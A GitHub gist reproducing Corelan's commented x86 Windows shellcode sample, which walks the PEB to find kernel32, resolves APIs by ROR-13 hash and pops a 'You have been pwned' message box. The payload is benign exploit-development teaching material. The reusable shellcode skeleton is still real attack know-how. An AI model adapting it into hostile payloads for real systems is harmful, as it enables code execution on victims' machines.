Skip to content

Instantly share code, notes, and snippets.

@debasishm89
Last active October 13, 2020 03:29
Show Gist options
  • Save debasishm89/5746556 to your computer and use it in GitHub Desktop.
Save debasishm89/5746556 to your computer and use it in GitHub Desktop.
; Sample shellcode that will pop a MessageBox
; with custom title and text
; Written by Peter Van Eeckhoutte
; http://www.corelan.be:8800
[Section .text]
[BITS 32]
global _start
_start:
;===========FUNCTIONS=============
;=======Function : Get Kernel32 base address============
;Technique : PEB InMemoryOrderModuleList
push esi
xor eax, eax ; clear eax
xor ebx, ebx
mov bl,0x30
mov eax, [fs:ebx ] ; get a pointer to the PEB
mov eax, [ eax + 0x0C ] ; get PEB->Ldr
mov eax, [ eax + 0x14 ] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
push eax
pop esi
mov eax, [ esi ] ; get the next entry (2nd entry)
push eax
pop esi
mov eax, [ esi ] ; get the next entry (3rd entry)
mov eax, [ eax + 0x10 ] ; get the 3rd entries base address (kernel32.dll)
pop esi
jmp start_main
;=======Function : Find function base address============
find_function:
pushad ;save all registers
mov ebp, [esp + 0x24] ;put base address of module that is being
;loaded in ebp
mov eax, [ebp + 0x3c] ;skip over MSDOS header
mov edx, [ebp + eax + 0x78] ;go to export table and put relative address
;in edx
add edx, ebp ;add base address to it.
;edx = absolute address of export table
mov ecx, [edx + 0x18] ;set up counter ECX
;(how many exported items are in array ?)
mov ebx, [edx + 0x20] ;put names table relative offset in ebx
add ebx, ebp ;add base address to it.
;ebx = absolute address of names table
find_function_loop:
jecxz find_function_finished ;if ecx=0, then last symbol has been checked.
;(should never happen)
;unless function could not be found
dec ecx ;ecx=ecx-1
mov esi, [ebx + ecx * 4] ;get relative offset of the name associated
;with the current symbol
;and store offset in esi
add esi, ebp ;add base address.
;esi = absolute address of current symbol
compute_hash:
xor edi, edi ;zero out edi
xor eax, eax ;zero out eax
cld ;clear direction flag.
;will make sure that it increments instead of
;decrements when using lods*
compute_hash_again:
lodsb ;load bytes at esi (current symbol name)
;into al, + increment esi
test al, al ;bitwise test :
;see if end of string has been reached
jz compute_hash_finished ;if zero flag is set = end of string reached
ror edi, 0xd ;if zero flag is not set, rotate current
;value of hash 13 bits to the right
add edi, eax ;add current character of symbol name
;to hash accumulator
jmp compute_hash_again ;continue loop
compute_hash_finished:
find_function_compare:
cmp edi, [esp + 0x28] ;see if computed hash matches requested hash (at esp+0x28)
;edi = current computed hash
;esi = current function name (string)
jnz find_function_loop ;no match, go to next symbol
mov ebx, [edx + 0x24] ;if match : extract ordinals table
;relative offset and put in ebx
add ebx, ebp ;add base address.
;ebx = absolute address of ordinals address table
mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)
mov ebx, [edx + 0x1c] ;get address table relative and put in ebx
add ebx, ebp ;add base address.
;ebx = absolute address of address table
mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal and put in eax
add eax, ebp ;add base address.
;eax = absolute address of function address
mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad
;will return function address in eax
find_function_finished:
popad ;retrieve original registers.
;eax will contain function address
ret
;=======Function : loop to lookup functions for a given dll (process all hashes)============
find_funcs_for_dll:
lodsd ;load current hash into eax (pointed to by esi)
push eax ;push hash to stack
push edx ;push base address of dll to stack
call find_function
mov [edi], eax ;write function pointer into address at edi
add esp, 0x08
add edi, 0x04 ;increase edi to store next pointer
cmp esi, ecx ;did we process all hashes yet ?
jne find_funcs_for_dll ;get next hash and lookup function pointer
find_funcs_for_dll_finished:
ret
;=======Function : Get pointer to user32.dll text============
GetUser32: ; Define label for location of user32.dll string
call User32Return ; call return label so the return address
; (location of string) is pushed onto stack
db "user32.dll" ; Write the raw bytes into the shellcode
db 0x00 ; Terminate our string with a null character.
;=======Function : Get pointers to function hashes============
GetHashes:
call GetHashesReturn
;LoadLibraryA hash : 0x8E4E0EEC
db 0x8E
db 0x4E
db 0x0E
db 0xEC
;ExitProcess hash = 0x7ED8E273
db 0x7E
db 0xD8
db 0xE2
db 0x73
GetMsgBoxHash:
call GetMsgBoxHashReturn
;MessageBoxA hash = 0xA8A24DBC
db 0xA8
db 0xA2
db 0x4D
db 0xBC
;====================================================================
;=================== MAIN APPLICATION ===============================
;====================================================================
start_main:
sub esp,0x08 ;allocate space on stack to store 2 things :
;in this order : ptr to LoadLibraryA, ExitProc
mov ebp,esp ;set ebp as frame ptr for relative offset
;so we will be able to do this:
;call ebp+4 = Execute LoadLibraryA
;call ebp+8 = Execute ExitProcess
mov edx,eax ;save base address of kernel32 in edx
;locate functions inside kernel32 first
jmp GetHashes ;get address of first hash
GetHashesReturn:
pop esi ;get pointer to hash into esi
lea edi, [ebp+0x4] ;we will store the function addresses at edi
; (edi will be increased with 0x04 for each hash)
; (see resolve_symbols_for_dll)
mov ecx,esi
add ecx,0x08 ; store address of last hash into ecx
call find_funcs_for_dll ; get function pointers for the 2
; kernel32 function hashes
; and put them at ebp+4 and ebp+8
;locate function in user32.dll
;loadlibrary first - so first put pointer to string user32.dll to stack
jmp GetUser32
User32Return:
;pointer to "user32.dll" is now on top of stack, so just call LoadLibrary
call [ebp+0x4]
;the base address of user32.dll is now in eax (if loaded correctly)
;put it in edx so it can be used in find_function
mov edx,eax
;find the MessageBoxA function
;first get pointer to function hash
jmp GetMsgBoxHash
GetMsgBoxHashReturn :
;put pointer in esi and prepare to look up function
pop esi
lodsd ;load current hash into eax (pointed to by esi)
push eax ;push hash to stack
push edx ;push base address of dll to stack
call find_function
;function address should be in eax now
;we'll keep it there
jmp GetTitle ;jump to the location
;of the MsgBox Title string
TitleReturn: ;Define a label to call so that
;string address is pushed on stack
pop ebx ;ebx now points to Title string
jmp GetText ;jump to the location
;of the MsgBox Text string
TextReturn: ;Define a label to call so that
;string address is pushed on stack
pop ecx ;ecx now points to Text string
;now push parameters to the stack
xor edx,edx ;zero out edx
push edx ;put 0 on stack
push ebx ;put pointer to Title on stack
push ecx ;put pointer to Text on stack
push edx ;put 0 on stack
call eax ;call MessageBoxA(0,Text,Title,0)
;ExitFunc
xor eax,eax
;zero out eax
push eax ;put 0 on stack
call [ebp+8] ;ExitProcess(0)
;=======Function : Get pointer to MessageBox Title============
GetTitle: ; Define label for location of MessageBox title string
call TitleReturn ; call return label so the return address
; (location of string) is pushed onto stack
db "Corelan" ; Write the raw bytes into the shellcode
db 0x00 ; Terminate our string with a null character.
;=======Function : Get pointer to MessageBox Text============
GetText: ; Define label for location of msgbox argument string
call TextReturn ; call return label so the return address
; (location of string) is pushed onto stack
db "You have been pwned by Corelan" ; Write the raw bytes into the shellcode
db 0x00 ; Terminate our string with a null character.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment